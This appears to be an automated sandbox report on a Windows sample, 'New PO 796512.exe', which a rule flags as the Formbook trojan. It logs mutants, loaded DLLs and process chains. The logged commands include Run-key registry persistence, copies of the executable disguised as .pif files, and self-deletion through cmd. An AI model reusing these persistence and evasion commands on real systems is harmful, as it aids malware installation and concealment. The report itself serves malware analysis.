          Source: Process Memory Space: mstsc.exe PID: 8120, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: classification engineClassification label: mal100.troj.evad.winEXE@631/12@5/1
          Source: C:\Users\user\Desktop\New PO 796512.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\New PO 796512.exe.logJump to behavior
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:744:120:WilError_03
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifMutant created: NULL
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7568:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4900:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7040:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1504:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8124:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7888:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3312:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5392:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7816:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7564:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7900:120:WilError_03
          Source: New PO 796512.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: New PO 796512.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
          Source: C:\Windows\explorer.exeFile read: C:\Users\user\Searches\desktop.iniJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: New PO 796512.exeReversingLabs: Detection: 18%
          Source: unknownProcess created: C:\Users\user\Desktop\New PO 796512.exe "C:\Users\user\Desktop\New PO 796512.exe"
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Desktop\New PO 796512.exe" "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess created: C:\Users\user\Desktop\New PO 796512.exe "C:\Users\user\Desktop\New PO 796512.exe"
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\autoconv.exe "C:\Windows\SysWOW64\autoconv.exe"
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\msdt.exe "C:\Windows\SysWOW64\msdt.exe"
          Source: C:\Windows\SysWOW64\msdt.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\New PO 796512.exe"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif" "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe"
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif" "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe"
          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\Documents\New PO 796512.pif.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\msdt.exe "C:\Windows\SysWOW64\msdt.exe"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"
          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\Documents\New PO 796512.pif.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif"Jump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Desktop\New PO 796512.exe" "C:\Users\user\Documents\New PO 796512.pif"Jump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess created: C:\Users\user\Desktop\New PO 796512.exe "C:\Users\user\Desktop\New PO 796512.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\autoconv.exe "C:\Windows\SysWOW64\autoconv.exe"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\msdt.exe "C:\Windows\SysWOW64\msdt.exe"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif" Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif" Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif" Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif" Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\Documents\New PO 796512.pif.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif.pif" Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\msdt.exe "C:\Windows\SysWOW64\msdt.exe"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif" "C:\Users\user\Documents\New PO 796512.pif.pif"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\New PO 796512.exe"Jump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"Jump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif" "C:\Users\user\Documents\New PO 796512.pif.pif"Jump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"Jump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"Jump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif" "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: unknown unknown
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: rasapi32.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: rasman.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: rtutils.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: mswsock.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: winhttp.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: dhcpcsvc6.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: dhcpcsvc.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: dnsapi.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: winnsi.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: rasadhlp.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: fwpuclnt.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: schannel.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: mskeyprotect.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: ntasn1.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: ncrypt.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: ncryptsslp.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: wbemcomn.dllJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntmarta.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: smartscreenps.dllJump to behavior
